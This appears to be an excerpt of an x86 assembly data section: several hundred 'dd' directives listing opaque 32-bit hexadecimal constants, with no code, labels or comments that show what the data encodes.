		dd 2E7020F3h, 4D2EBA31h, 8C87AEA4h, 1054075Bh, 4E4A671Ah
		dd 9A45CC9Ah, 0C3488124h, 895327D7h, 0C3DD3F0h,	0B1EAFF78h
		dd 0FF94B03Fh, 0BBA23F45h, 0D6634B8Bh, 0A5B25F8Ah, 0FC9A701Ah
		dd 34ED7E1Eh, 7506974Ch, 218FD679h, 79A69A24h, 9DA388FFh
		dd 13B4119Ah, 0F1E89CCEh, 6977F679h, 0EC9E99A7h, 558C386Dh
		dd 27915F03h, 0AFEABD00h, 0AEAC6AA0h, 33BE86F0h, 2CCD8DC0h
		dd 0A4FD1109h, 0F8E11E0h, 0EC8464FAh, 23957165h, 2765D570h
		dd 0A9982670h, 0B00C9F96h, 82E73B92h, 2E1F424Dh, 3909CBD3h
		dd 5ECD9585h, 11D25D72h, 0BEB4A8C9h, 0AEF0D11Ah, 256DEF1Fh
		dd 85D2A973h, 3D2424A5h, 0D467F6FDh, 76F35213h,	0F037EDD3h
		dd 99638875h, 0EADC2BEFh, 86FE1DE7h, 3594AB9Ah,	2A140A11h
		dd 6059F0BBh, 2265F709h, 0D46099CDh, 83A60D0Bh,	5EDC7D3Ah
		dd 48FBCCB7h, 70B97CF7h, 88AB1E22h, 6EF84A8h, 0F0AE1DEEh
		dd 705F41E4h, 9AFCDB68h, 3DA5191Fh, 15BDE466h, 0D7DE8A6Dh
		dd 0B856D9E5h, 0DFB5A8A1h, 68CF0726h, 468439E2h, 11C7E929h
		dd 0C9A2A8BFh, 0A5E77333h, 0E14073Ch, 95790F09h, 0E05E066Eh
		dd 4BDD6C69h, 0B6B31493h, 0E15F95DFh, 58E8FCE7h, 0FE819F5Ah
		dd 0A41396A2h, 0AC3B4D1Eh, 84E311D1h, 212432C7h, 582E08F5h
		dd 1A6DEB60h, 9B18E98Eh, 0F18C35E4h, 53B5BA5Dh,	7FBF253h
		dd 0D66132E9h, 0DBBBBC90h, 11D7A124h, 19684DF0h, 0DD6DA746h
		dd 7ECFCB14h, 59C415FAh, 6966AC6Eh, 0A0F9F56Ah,	487449E4h
		dd 49E0483Fh, 3430FA5Ch, 0EBFEBA8Bh, 77BF32B8h,	55B65EFDh
		dd 0D1B0AEECh, 494BAE1h, 0D1C8F985h, 0B5CBDF8h,	0ED21F5C7h
		dd 0A0C7715Dh, 471CA1D3h, 0AD778A7Fh, 0E36F55DCh, 0C036C3DCh
		dd 0ACC2E784h, 432CFF09h, 7DBCFFD1h, 39DDBC90h,	99D3285Ah
		dd 6BDFDC65h, 0C10EB54h, 5EBB3EF5h, 99AD8151h, 0EEE7B7F0h
		dd 6172B98Fh, 0CE293ECAh, 0FCC674ACh, 116237F8h, 0FEFE18C5h
		dd 0B09FF863h, 5C39EB95h, 5904E697h, 26E17596h,	0B919A7B4h
		dd 0D221E75Ah, 73C73085h, 98519157h, 79AC09B6h,	4296FA24h
		dd 5419050Bh, 0FED28Eh,	0D6EDFCE1h, 626DF3FCh, 133FFDDFh
		dd 0CA0C9126h, 0FE2D5ED5h, 312BE42Ah, 0E03A71E4h, 0B4AAE336h
		dd 7FD62F91h, 0CDE0D916h, 0F82E3E53h, 969DD600h, 53F7993Dh
		dd 4F4CD928h, 7C41FB18h, 7903A588h, 997BBE5Dh, 940BB819h
		dd 445EF01Ah, 8AEC7EAh,	0AFB70030h, 0A247116Eh,	59B7AFF6h
		dd 0D0CB564Dh, 91D9DF9Eh, 0BE409085h, 4EC6BB98h, 875A05B2h
		dd 0CFEEF384h, 61E465A3h, 0E36CFC11h, 0FEF42BE5h, 0A986A87Ah
		dd 1B54BD82h, 28AB4185h, 3F6C1h, 53F73DD1h, 0DA6D7B3Ch
		dd 0A7555AD3h, 0A5620F26h, 17F66B48h, 55250CF7h, 0A4411F28h
		dd 23552FB0h, 9EFDE7A5h, 9F7DC366h, 7B366512h, 4C2E5AFDh
		dd 0EEF548DCh, 0E9E19C55h, 0EB977323h, 4A610B07h, 0D04EEDCEh
		dd 6A9B835Fh, 129D6819h, 75089268h, 3FAC92ADh, 0B6CFCA29h
		dd 0A76A033Eh, 63D836E3h, 0A539B67Eh, 63AAA8C3h, 0FC8ADE7h
		dd 53004E3Dh, 0E5C2AC75h, 8A37AF7Dh, 82F9B273h,	0E5779ABFh
		dd 383B58CEh, 0F6FB3B6Ch, 557957D2h, 5D8C7942h,	0D59EBFDCh
		dd 0D701EF59h, 4CD23B4Fh, 0DC7772B8h, 252DF83h,	8EFACF21h
		dd 0A2639B2Fh, 0EA55FDABh, 0BF3C6834h, 4AC5962Ah, 0B052B7A6h
		dd 0FA5AEA98h, 0A99083FBh, 1D742BB8h, 490D1004h, 0BBE1FDCAh
		dd 6AD24C20h, 8D30E999h, 0ABB8D25Bh, 0C5709FFBh, 0D27D0DE0h
		dd 2B775A98h, 265CD301h, 62BCF139h, 0D11EE47Ch,	0CBA8808Bh
		dd 0F1CE4D2h, 0E9CB4264h, 75F38AD4h, 0BEC04E59h, 0E87A035Ah
		dd 1CBE1FB5h, 376C8F9Bh, 281BFEC3h, 52A3A438h, 0B4E889D7h
		dd 9B4EA444h, 20CF846Fh, 0CA78EB0Ch, 0F25FE1B2h, 0EAEB83Fh
		dd 60ADD83Ch, 0DC9A2B4Bh, 0B8380CC2h, 0DBE9644Bh, 1CED6367h
		dd 0BB54EFB3h, 0DFF47941h, 0B18F214Bh, 3768AC2Ah, 0EA421CD6h
		dd 1601BAFDh, 0E6B7EB40h, 40D4D5E3h, 0D0290ACBh, 0F0A5DF66h
		dd 5A82EB2h, 0F5DB6660h, 844B34D0h, 0DFD3F45Fh,	0E3D48BFAh
		dd 2C2C8817h, 7BB628AAh, 0F1D30345h, 1CA7BF9Eh,	0FF29185Eh
		dd 55451F66h, 2DE1B6D2h, 0A974508Bh, 0E2535936h, 0AD5EA719h
		dd 1F3EEC4h, 31BC975h, 0C2C4F0CBh, 84818D25h, 986EC586h
		dd 0CC3E3AA7h, 0C1DC9139h, 0FE0F295Bh, 0C621F099h, 16C256Eh
		dd 823372E0h, 0E63B305h, 0E541F1D9h, 96C910D0h,	9A31F878h
		dd 2F28CCB2h, 532439AFh, 0BA9CA3BFh, 0F21527BDh, 0AB0AC323h
		dd 0C883D8C9h, 783DA487h, 51AC57D6h, 213C0682h,	0F69CE2AAh
		dd 0C791F3AEh, 0CE32EE35h, 2DB4DE33h, 2FE3AF3Dh, 91E1678h
		dd 7F6F96AFh, 17FBCD2Ah, 0AB9F69F2h, 0CA5ED3B8h, 59F59F5Ah
		dd 0DFFA0C79h, 24809DE1h, 0F2736F65h, 5C12B393h, 0D59BB266h
		dd 0E22646ECh, 730AA08Ah, 9CD8063Fh, 966E13Bh, 41E24FB6h
		dd 0B3390353h, 0BF84760Ch, 3CB0FD69h, 0B0C035E2h, 97027E99h
		dd 4B62819h, 0C35E96A7h, 5AAE22C6h, 0D461AC1Fh,	3A08A41Bh
		dd 0FAD11DD4h, 0CFE8B43Dh, 0B1709D3Eh, 0CF9978AFh, 52DAFF99h
		dd 5825177Eh, 0BC0B184Dh, 16D5BF69h, 0D04BE0EDh, 5D8C95CBh
		dd 0F3C711CCh, 61783CCAh, 359160DEh, 0FF82A3D6h, 0D29C3390h
		dd 445B3F50h, 4ABFBB7Eh, 269A7A4Eh, 70946234h, 56069527h
		dd 775EA696h, 63663E93h, 5194ADDBh, 9577866Ch, 0B6D2C7A3h
		dd 0D0C6B509h, 4008FD7h, 48F351DDh, 1EADB236h, 992A5231h
		dd 4BD7AC9Eh, 7D6B5B08h, 29B8AB4Eh, 0FCED6852h,	0A03AC91Ah
		dd 17513D0Ah, 53A0E32Bh, 1E98A3F6h, 5D59189Ah, 4C48477h
		dd 0ADB80087h, 0FB3476Ch, 979EA49Bh, 0F15D3AC5h, 77184FA8h
		dd 0EA7000DCh, 486667D0h, 0A497196Ah, 9C65412Ah, 0AEC9FACh
		dd 903322FCh, 628D99EBh, 0C715CDEAh, 998DDB06h,	0C24F4A38h
		dd 0EAD92839h, 0F3CB2DAFh, 59642C36h, 0ADA02A1Ah, 41E636D4h
		dd 0D2037F1Ch, 5F05F7CAh, 67A1D75Eh, 848C4CE5h,	18E4D22h
		dd 72E7FC7Eh, 959BC0FCh, 0D36E05BAh, 0CBBB1642h, 91F0635Bh
		dd 4F6F4193h, 817EE98Fh, 384DB248h, 0FFD6B13h, 0FC788BB7h
		dd 0CE488BAFh, 6C830C01h, 42A1EE4Eh, 288C29A0h,	14FC6161h
		dd 0B7341873h, 46D44950h
		dd 5B9F78AFh, 292DE78Dh, 8C1277E1h, 51C18DB3h, 0D0234A2Eh
		dd 76C41286h, 13111500h, 4568B6E8h, 0F44B57EAh,	29FE4274h
		dd 0DA002886h, 0E1702163h, 9B9CF63Eh, 0BD353E4Bh, 564F86E9h
		dd 0D3F37533h, 0AF432EC5h, 1E53A900h, 64086578h, 5122E9AAh
		dd 0D5BFAE99h, 1E128996h, 0B38E0705h, 0B5BD6F29h, 0D10F9B40h
		dd 1F479D3Fh, 47FA82F7h, 0C9944079h, 0D0727C1h,	0E1ED279Ch
		dd 0A7F538Dh, 0D65D60E4h, 2540C143h, 0F8FF34B5h, 0A9CA0FFCh
		dd 1D760668h, 0A4532171h, 14C06169h, 9E5212E4h,	4A74F8FEh
		dd 10AFC609h, 0B2D832C1h, 0F8EB9CECh, 6D3E0047h, 561AD80Dh
		dd 1F48DA0Bh, 781A7598h, 63C78665h, 0F313139Ah,	0B6F31330h
		dd 607776B4h, 0FFD973F5h, 89CAFA5Dh, 0D50616FBh, 3DA0F92Dh
		dd 58E5A71Dh, 0F92A6174h, 1F678B24h, 0EA110D19h, 0B45CEEAAh
		dd 8C08C638h, 519DA041h, 0BC5DD94Ch, 2473B9Eh, 0C7817279h
		dd 0FF6004A0h, 41513509h, 25A0BE7h, 64F3F791h, 0EC43EB55h
		dd 177FB5BAh, 31201778h, 0B23EDE74h, 9E93536Bh,	473E3E4Dh
		dd 232797ECh, 229DF89h,	97430311h, 66F7009Ch, 305EF3E2h
		dd 0EC6BDDCh, 2AF3F7A5h, 7F3B563Eh, 0D0283AB4h,	0E3196649h
		dd 4AC8D48Ch, 0BF1B1AADh, 236E447Ah, 0F833EEE9h, 0F7D27D2Bh
		dd 1B33E497h, 4885FC50h, 1E68923Eh, 95E4FB94h, 5E59CAB6h
		dd 0A83BDFADh, 0F20BDE72h, 9D88BA0Bh, 0BCA64E34h, 6C1A162Bh
		dd 1306B502h, 3F538EACh, 1B36D117h, 1EEB7E14h, 0C44768D2h
		dd 0E4089664h, 0D1CB59A3h, 97E6FEA9h, 0DE39EC24h, 442B01A4h
		dd 90EC518Bh, 0B9AE923Dh, 171173D8h, 84C4A6DCh,	0C35A2DE7h
		dd 885610FAh, 0CDD36E14h, 1F69640Ah, 4BFAD955h,	0C41DF8D1h
		dd 76DBD213h, 0C69553AAh, 64AAAEB5h, 0B6CCF136h, 0CE00F233h
		dd 0AFF9D9D3h, 4FB7962Bh, 0B141656h, 679583E9h,	7BFB129Fh
		dd 3AD07340h, 0F21BA42Eh, 96249F3Dh, 38A9B5BFh,	0ABAC6A5Ah
		dd 0E47AC120h, 9BDAE0BDh, 443F520h, 30A5215Ah, 44A1B2CDh
		dd 8A32B756h, 4426947Eh, 0B79D93D1h, 30FE27C8h,	0C449CAEEh
		dd 35C581AAh, 8BAF64ECh, 67D201C9h, 882518ABh, 0D8F8CC8Dh
		dd 0F5E1FB1Ah, 9830F09Bh, 82D4BBA6h, 0C4E22251h, 0F93124Dh
		dd 7BFA4874h, 48FF71E4h, 0AE9B4F3Bh, 96E19DE3h,	24126975h
		dd 4407F420h, 70C1DE5Fh, 0F387CC66h, 0CD2EA4BAh, 0FBC59848h
		dd 9C16142Fh, 91CFBE41h, 9DF95B20h, 0B840F240h,	43E98580h
		dd 0B1DAD23Eh, 64215FB5h, 7C3F3A7Ch, 0BFE8A59Ch, 0CF3A4DFAh
		dd 0C479953Dh, 365324A7h, 852E3701h, 0F5797AF0h, 66B974FCh
		dd 0AB3978F6h, 2843CDF5h, 9092D4E8h, 0E8006051h, 31DF0A7Bh
		dd 0FD225BF7h, 32CA14E3h, 43A724F2h, 0BCBAE9A0h, 4B5AF8B5h
		dd 5AB616C6h, 7F89B10Bh, 0D6AC9FE6h, 9096556Eh,	0A8B253B8h
		dd 0E77D86D1h, 0B29D4456h, 0A2F2D678h, 632938BFh, 609B8BCCh
		dd 0C466E7E4h, 810CE79Eh, 0F5467FA7h, 58CDB4CCh, 0D98F6B33h
		dd 6DF8ECDDh, 1A91C497h, 493CCE80h, 9FDD18EBh, 0D2721BCEh
		dd 96F50496h, 0C2E5C632h, 949AAC9h, 0E6E64E14h,	4C744A43h
		dd 66E64D23h, 0BBA4FA38h, 0B2442EBEh, 0D058557Bh, 790FB2BAh
		dd 3FADDAB1h, 37D830EAh, 422D99AEh, 48969318h, 0AA2C26ADh
		dd 0FA07312Bh, 2F53766Ah, 5D617BCAh, 0FE76DE69h, 0F185DF69h
		dd 0D0C27239h, 4FF8C3DDh, 0A921FC70h, 13264874h, 0C57E6866h
		dd 73E3D06Bh, 7A5F3770h, 0A81C1A00h, 61A3E340h,	2F699870h
		dd 63DA201Ah, 0DCCC2064h, 589DD5F3h, 0EB280EAFh, 4D9F8106h
		dd 0F1598D8h, 1B847406h, 0AF86881Ch, 6C493830h,	3CD7C05Bh
		dd 0EF519D44h, 0B23F43F5h, 11B8BBB1h, 8855766Ch, 7190B1EFh
		dd 0E927EFD2h, 0B9DF7486h, 0CD6F47D9h, 0A0E50E2Bh, 5A52B0A9h
		dd 0ECCF8F41h, 0AD22E9A1h, 300497F4h, 2526D2h, 0DB138121h
		dd 0B04B025Fh, 0FFD09D0Eh, 44EE5878h, 260E16F5h, 0A00F9357h
		dd 6F251C8Eh, 0E22D8890h, 7DBDBA82h, 0F581B55Fh, 7629CDDCh
		dd 0D2570C60h, 0C44FB9FAh, 754E9B20h, 704B4FFBh, 969833C8h
		dd 72383326h, 31F60A20h, 0F61D92AFh, 0E8A8017Eh, 0E48E449Bh
		dd 0D9CB7F8Ah, 0CC5FAEC3h, 4287996Fh, 0DCE2C7AFh, 0B1EF5634h
		dd 4E057A72h, 9E320657h, 0F5B79851h, 0D4D4D889h, 56603C83h
		dd 0EB733696h, 3EBFC6CCh, 1844D6C8h, 0DEE1B593h, 0EE8BE894h
		dd 9B9A3C6Fh, 65A53218h, 0E00D32FBh, 1CF2172Fh,	4FA84B44h
		dd 0E92DBBB0h, 0B703C9h, 0FFE193DAh, 9F89C340h,	0E6E0D8A4h
		dd 163FB1D6h, 7B7E8E44h, 530CB2CBh, 0F269BF47h,	68C9AEE9h
		dd 41305424h, 0AFEB26B0h, 0A9A1FEDEh, 591A7A2Ch, 0BD8BAE0Ah
		dd 0A2B0367Bh, 0E9BEAF7Fh, 37F27DFh, 7A27B6F6h,	5BA748ABh
		dd 2E8DB33Eh, 75028BCBh, 7BDBDF39h, 0F574E2FCh,	0E2A58264h
		dd 2B78C3E8h, 0DC9439E9h, 0A0782263h, 3BB84791h, 4AE87447h
		dd 4F863C5Fh, 7C3B49E1h, 0BD7D416h, 28190F0Ah, 0B25CA903h
		dd 6189048h, 9C858D5Fh,	0B0708A48h, 35C5F376h, 441D2DC3h
		dd 0CC00644Ah, 0BB9EAEF3h, 44D139AAh, 0CF8CDE2Ch, 78BE7B0Ah
		dd 53083EAh, 0D473F6A9h, 0C8631FE7h, 7C06CD04h,	0A2E7150Dh
		dd 0DB76FA0Bh, 1B1BDD93h, 4422CA49h, 8A1B2F6Bh,	7224D953h
		dd 4FCCDF94h, 97B99262h, 27DFC199h, 3EC7D2C0h, 3F57D06Ch
		dd 0F486CB68h, 0E81E5E8Eh, 912BEA5Eh, 771658BEh, 0ED1BAACCh
		dd 0C7C948B0h, 4CAB6817h, 0EBAECEC6h, 529DF674h, 40A1E3B2h
		dd 0A7B879D1h, 0AD9AB07Dh, 0E483FAECh, 0F4CE8006h, 0DCAFADAAh
		dd 94FCC38Ah, 0FD36E38Bh, 0C82B61A0h, 398DD6A2h, 0A94B3F05h
		dd 3405C25Ch, 9DDA3E59h, 5D6A3B4Bh, 6237EB0Fh, 88188FA4h
		dd 99DEFD9Ch, 0A7525C3Ah, 428D1067h, 0D253308Dh, 2A0FF339h
		dd 2FF9439Bh, 2F41730Ch, 0C513B3C1h, 0BC3D9052h, 0C1E072CAh
		dd 4745E6A3h, 6F101388h, 4307BF71h, 0F69DA33Dh,	3E98A7CDh
		dd 5FE079DDh, 577697EAh, 0E5260C02h, 0D37DFD28h, 248DA1C1h
		dd 0B9666C8Fh, 0B0C6295Bh, 36615527h, 1AAAC95h,	4D1F609Fh
		dd 791CE879h, 2B18A2B6h, 0D551C2DCh, 7CC1CF1Eh,	13C4D343h
		dd 0B34DD8A7h, 0F4A77F76h, 3A9BC014h, 4EDCF3BDh, 36C2ED9Bh
		dd 0C6820CF6h, 8E5DEA5h, 2292371Dh, 0C6E4122Bh,	94FA6D2Fh
		dd 95BFF30Bh, 7FE4F7BEh, 0E1364524h, 868A69A4h,	0BBE0B630h
		dd 8204FE52h, 0DE3C2395h, 8474BA7h, 0ADACCC17h,	1A2B3B9Eh
		dd 0B876B9B8h, 86717055h, 647D6FB7h, 419A966Fh,	0DA96DA14h
		dd 2DE78452h, 0C50E6AF4h, 38271C4Fh, 32B9B59Bh,	0E153A42Ch
		dd 86E6E45h, 59984AF5h,	0E90AD760h, 0A1011C54h,	0B536C7FEh
		dd 0FB7DF5A7h, 0BA96B45Eh, 674FFC80h, 74E0743Bh, 1076B347h
		dd 2CBB4CF0h, 0FF4972EFh, 0DEB70D1h, 41CCDCBDh,	50BE90FEh
		dd 3D7F349Ah, 0B907CC04h, 0F7B04AB4h, 0A9A1AFA5h, 65595D08h
		dd 0A42A1985h, 68B8ADF3h, 1379F2DEh, 0E29408CDh, 7CA1296Bh
		dd 0AFBC23B4h, 0A33AABD0h, 0BDCF8706h, 0DCC07AC2h, 0DA8154A1h
		dd 0BEDD9F64h, 0FB5DDC37h, 9E4383DFh, 0E1EF262Ch, 7648CCE3h
		dd 9BB969F2h, 1BD98223h, 0DCB4E1C5h, 0E0EB8F67h, 6E8B1A25h
		dd 0AE706289h, 7B1F052Eh, 33855568h, 0FD9F7E1Eh, 2FA81E42h
		dd 2D701ED4h, 19B61F8Dh, 0B9505849h, 0D4901B73h, 5C5D9128h
		dd 16926342h, 9CD8508Bh, 0DBB2E2BFh, 0AFD101BBh, 7F3A117Ch
		dd 0AF19768Fh, 370C3BF5h, 0A6AE98D1h, 915A9CFAh, 0AF9E7855h
		dd 2425123Bh, 8CC446B2h
		dd 0DC016CD1h, 22A2B216h, 0C4A6E8B0h, 40386013h, 3B97C4AAh
		dd 2F931F1Eh, 86080C1Bh, 0C5F33951h, 900F6BF9h,	8D643EC2h
		dd 65F27662h, 64F6E0B5h, 79645E7h, 37CC2E6Dh, 79C7BC11h
		dd 13CF05D5h, 67EDFA60h, 5A3E3F5Eh, 0DF7A273Ah,	0B6AEE06h
		dd 575D3BC4h, 0B9F455Ch, 0AA83D882h, 32E3027Fh,	0D8DAB621h
		dd 786CE972h, 785DB8D8h, 666D2E5Fh, 0BBF5403Eh,	0D607952Bh
		dd 0E848AC66h, 0EBEF8BBCh, 0F00EB3B4h, 399C423Ah, 0A1744CD7h
		dd 0DC5DC8E8h, 0BBF99545h, 66FF7E1Dh, 56476ACAh, 0ACA1747Dh
		dd 9FD141AAh, 384A4F37h, 1EC220CAh, 0C423E3D0h,	2C77912Dh
		dd 0EC4DF892h, 1906ED2Dh, 0EB3ACC46h, 0C12D28Bh, 550A1314h
		dd 6FAE9567h, 0B6C6929Dh, 6668BA07h, 0E63C7405h, 4AB45DF7h
		dd 477A8B0Ah, 0F2ABEF9Bh, 4469ABE9h, 0ED229FE2h, 5526EB8Bh
		dd 0D37F1EBCh, 24DE285Eh, 235362B3h, 0C3A67D8Ch, 0BB25D17Ch
		dd 7543D183h, 2EE2AE00h, 0CC2182A7h, 24AB576Bh,	3976003Dh
		dd 0D2461150h, 0C1B2BCh, 0B0D0E025h, 5C5E118Ch,	16D3AFD1h
		dd 223F19C9h, 5140E45Dh, 227893DCh, 0B470F2E8h,	8B8DC021h
		dd 79AA6093h, 0D31396DCh, 0ED95B125h, 0B8F93F13h, 0CA00D91Bh
		dd 0FE6E65B1h, 90BC4F40h, 5F91CDCCh, 52DAEDE1h,	58C07BE0h
		dd 0D1B98F36h, 5DC97903h, 5FB4E55h, 9A25D141h, 0AE126361h
		dd 0EC02E8D3h, 65FE80F4h, 0C756FB7Ch, 0CE9BC5A5h, 8DB22ABh
		dd 0C69746C8h, 0F4465A43h, 0C9F4C95Bh, 0F767907Ah, 63D8BCB8h
		dd 0A7514564h, 59D8132h, 2815C69Ch, 23984A24h, 7D6FB4A3h
		dd 0BBA356ABh, 0D7C3300Ch, 0E7B3C4D0h, 6ACC1263h, 7A7DF76Dh
		dd 422AE6D8h, 36AB846Bh, 92C8FF46h, 0A1974DEFh,	76315D22h
		dd 0AE7DC16Dh, 49EDA735h, 0B9A5D95Fh, 4CE0C152h, 0D7A53F6Dh
		dd 0BA48AE9h, 83B881A7h, 0E8D85EBh, 0C0AE3321h,	0D4F57D9Eh
		dd 0F87ECCBEh, 0DEFD4A84h, 4D740A6h, 83D06147h,	32191D82h
		dd 72398751h, 0A1BE846Fh, 5D62CD47h, 49798009h,	0C6535177h
		dd 10D4C0A4h, 0C508773Eh, 0EA415B03h, 0EAB2C6EFh, 5AE11B58h
		dd 83440CD1h, 609480EFh, 8A1E2FDh, 4E453238h, 0AC6B698Fh
		dd 0B5584784h, 81AF1728h, 0D31095B1h, 0FA0C153Bh, 435635A6h
		dd 7401B2E5h, 908A570Eh, 8BFA4925h, 0D8AE823Dh,	47C806D9h
		dd 0FC224C41h, 8DC4C4BDh, 37C7EE47h, 6E94FFADh,	0EAB35795h
		dd 25FFBAE9h, 824A0A71h, 0FFC088E8h, 0C91A426Fh, 25AA55E8h
		dd 0D4C54F5Eh, 5C007CB1h, 95D9C7D2h, 0B0D44C2Eh, 89896F55h
		dd 2036BE9Ah, 2B284F2Ch, 0D69887BAh, 0FB400D81h, 0DEEAC920h
		dd 31E4935Eh, 33DD48A8h, 85DA0154h, 0FEA959BFh,	1BB4853Bh
		dd 0A2AC7E9Bh, 0CE95F6Fh, 0D150D455h, 0F76B5283h, 937677A8h
		dd 6EC4EE7h, 0EAC406FBh, 4B16F294h, 956E5B40h, 76733356h
		dd 3295698Eh, 11240049h, 79E28731h, 60E66030h, 0F7765A8h
		dd 44FFF6C5h, 0EA796F9Bh, 2B032483h, 0C1A8D76Ah, 0CED51506h
		dd 198741E2h, 73094C5Eh, 3B9506A6h, 5299E41Fh, 2961CA18h
		dd 317F00DDh, 0AACCCBD7h, 0B0BCADB8h, 884E464h,	0E21A4631h
		dd 4CAB4128h, 2D3878C5h, 49ABA5FAh, 0A05284A3h,	6C1DB83Ch
		dd 28635EBFh, 23E6A163h, 955E78CEh, 0DC4946h, 787076E9h
		dd 6636AB4Eh, 4F0AB510h, 3CC027C5h, 963ECDDEh, 0C07AB3A2h
		dd 0FAE897EEh, 0F2443246h, 0A77E7D57h, 0F4E6F26Fh, 0C2B57678h
		dd 7D6A6DF7h, 0EB8D6062h, 1B7CA66Eh, 0A94F5CEBh, 7E049465h
		dd 48F4092h, 0D2D08671h, 0DEF72AF6h, 7DDB2BADh,	448312A1h
		dd 0B915EAC1h, 0EC52D0E8h, 4D4D54FEh, 1B2F1FA9h, 6554FF03h
		dd 0FA1606E6h, 2A1A1B7Bh, 3CBAB7FEh, 11666434h,	0E3170401h
		dd 3DAA0626h, 98C47181h, 8E8EB627h, 177D0657h, 1191969Ch
		dd 9527F62Ch, 5A9CA533h, 0B1AC71F3h, 3109FB4Ch,	3D24784Bh
		dd 25EC00E6h, 6B1C5725h, 3A8E7DF8h, 6D26F62Ah, 0A2E331A0h
		dd 20B87E31h, 4A3C06A7h, 0BC43B7ADh, 2FDBF04Dh,	1696307Ch
		dd 9F5A4792h, 0A89B8703h, 1539E739h, 1AB0D7DFh,	17C746Ch
		dd 4EA8B02h, 1EE80669h,	0DE04BCDDh, 5BD5E661h, 0EF7B7A6Ch
		dd 79D5D921h, 0F19733AFh, 0FFCAF64Ah, 315B21BFh, 866A5EE2h
		dd 44D7047Fh, 3075374Ah, 5D6760D1h, 65000C74h, 57B12C9Dh
		dd 0C4845CA6h, 9619DE8Ch, 61EBDF32h, 13972169h,	5D6737C5h
		dd 449C01DCh, 0CECD4DB9h, 0D7FAE72Dh, 85F608AEh, 90DC4731h
		dd 0AFBF4524h, 43E1D44Dh, 0BDB2BF49h, 0D899F73Ah, 1664C7A2h
		dd 7DEB8623h, 41C053F4h, 275C09D8h, 0A8862BB2h,	0E902E1F8h
		dd 5D3FD09Fh, 17301188h, 0D9BBA0B6h, 8DB1E307h,	0F457AC2Ch
		dd 0B3294845h, 0B6E43C1Eh, 61722E55h, 0E39E5B9Ch, 0F5BBEC1Dh
		dd 782939B4h, 8CBD2A08h, 0F78138F6h, 3547ACF0h,	6C66E864h
		dd 85E5032h, 0B3D59AEEh, 0C6AD24Eh, 14AC9F3Fh, 7600E02Ch
		dd 5861B8EAh, 0D94D5537h, 7C77A566h, 48DCCF0Eh,	7E711CCFh
		dd 59ABD3ACh, 878E68CDh, 0E9937EC6h, 35D1E3Bh, 41AC6C94h
		dd 0F5DF8928h, 8FA82F6Bh, 0BFE74FA7h, 4C88490h,	10E9C147h
		dd 0CC8682Dh, 0C56A1DA5h, 20EC909h, 949F2296h, 21F8821Dh
		dd 7F723D2h, 0CDEECA0Eh, 6244AE5h, 0D9ABFEBBh, 563772C1h
		dd 0F918B18Ah, 5AD2E3EBh, 38865E3Ch, 33AB1A2Bh,	0E6655F7Bh
		dd 0A253075Bh, 0A1F732Eh, 25A651Fh, 1FD2A40Dh, 0A1B89F90h
		dd 0CDB5EB9h, 11AECE28h, 64D2A034h, 0AF6F235Ah,	0A09F5D7Eh
		dd 0B6D1B73h, 0B2997405h, 2CEEE219h, 0BE90D9F4h, 3D838F3Eh
		dd 0FA6E16B7h, 50CDAD65h, 77EC82EBh, 9F700188h,	0E4059AA0h
		dd 63CE50DAh, 6932EAEBh, 4F9E9C71h, 0CC160592h,	0C070B0CCh
		dd 0E202AE3Fh, 1FB3FA76h, 49ABB1DCh, 537EA55Dh,	0F0E58C1Ch
		dd 30E4C3B3h, 0C2843562h, 0E04EEB0Ch, 7CEE76BBh, 54E60981h
		dd 0BFEB0490h, 361FA4F3h, 37AC054Dh, 43543917h,	95FC1E7Dh
		dd 532FC7Eh, 4142E79Dh,	97539212h, 2107296Ch, 798CAB44h
		dd 0B7738F2Bh, 94312AD3h, 35B047E4h, 0BB866B21h, 5DAF0D07h
		dd 3B63CDCFh, 30B6284Ah, 0D54E989Ch, 720AD5D9h,	281F8275h
		dd 77D291C8h, 9560AE0Eh, 113FF076h, 17DDCA9Fh, 0A3682502h
		dd 9E162C19h, 4A8FFA3Ah, 46EC9063h, 31B25C8Ah, 0BF624804h
		dd 6299F20Eh, 29DD111Eh, 0E7778B40h, 20716712h,	47B0E731h
		dd 720E4E88h, 55A4D953h, 2C463ECFh, 3F4074EEh, 2A8589ECh
		dd 7D5C409Ch, 0C01E9451h, 4FEE96F1h, 8D196173h,	0D6936E16h
		dd 0D50292D6h, 0C127AE27h, 248A74A4h, 0A315798Fh, 97C9B752h
		dd 6F4F3525h, 5CB235D6h, 297FB40Fh, 0FDDBB7A3h,	1475A753h
		dd 940FAFD4h, 0FAF3F9E5h, 0A0E7C45Ch, 0C9B97DD2h, 8E0B62E0h
		dd 0F3691FBAh, 41FFB13h, 3D551758h, 0F6A28AB9h,	9187240Ch
		dd 0BDEB30BBh, 70C0956Fh, 0A2238A9Eh, 6933BD26h, 2CFB318Ah
		dd 0E075C456h, 0EA49932Fh, 7DC57BD6h, 6792C88Eh, 9E99463Bh
		dd 7735AED3h, 25ADEB79h, 5318944Fh, 0DC3ACBB7h,	2643EBD7h
		dd 0FD5E3976h, 0B816C6DAh, 8D50FAD7h, 351E4CBBh, 0BACD0E83h
		dd 0F605D829h, 0D85D6587h, 566D2C37h, 32B8B8E2h, 7D3C7040h
		dd 423BFD0h, 0F83D5271h, 1A7706EEh, 53EAB012h, 77A1215Bh
		dd 8496993Eh, 0B56D17DBh, 7045C15Ah, 7CB670D6h,	0D6D19C31h
		dd 0D68CE1A1h, 0E3B01F70h, 9B2899F4h, 85EFBEF4h, 64344D18h
		dd 0A36BE2EEh, 69D95D51h, 78176AF0h, 57BEDF15h,	8F1C2EEFh
		dd 4F6097B6h, 51693846h
		dd 3D436F86h, 0EE43F15Eh, 815E1F40h, 909E7368h,	0B178AFF6h
		dd 45A9A0ABh, 9F8163C5h, 0EB17CD2h, 34FE7220h, 1FCCA577h
		dd 946651BBh, 875FA5C9h, 0CF38BD70h, 4B7A81C5h,	5BC58335h
		dd 4FA647CDh, 4F3758B9h, 40580F0Eh, 1FA8E9D4h, 4D3CA2FCh
		dd 3D2A74F3h, 0B0D2E4AFh, 273A0486h, 0FAD57FEDh, 0AB11829Fh
		dd 76E384F3h, 0DDFEECACh, 0A0E9B89Eh, 0E1FEB9DCh, 0DCB9580Ah
		dd 0CCDC3B5Bh, 9F5576FAh, 932C3B02h, 17299A15h,	0F8C29EC2h
		dd 7E4A096Ah, 1F4CA081h, 0A0301686h, 0E12F23D3h, 0D9656842h
		dd 562F5D50h, 2B91E9ECh, 2AD8F7C0h, 2C08C0C3h, 117753EEh
		dd 0B3A247A1h, 83D85A60h, 0B8678807h, 0E552974Bh, 0EADCD215h
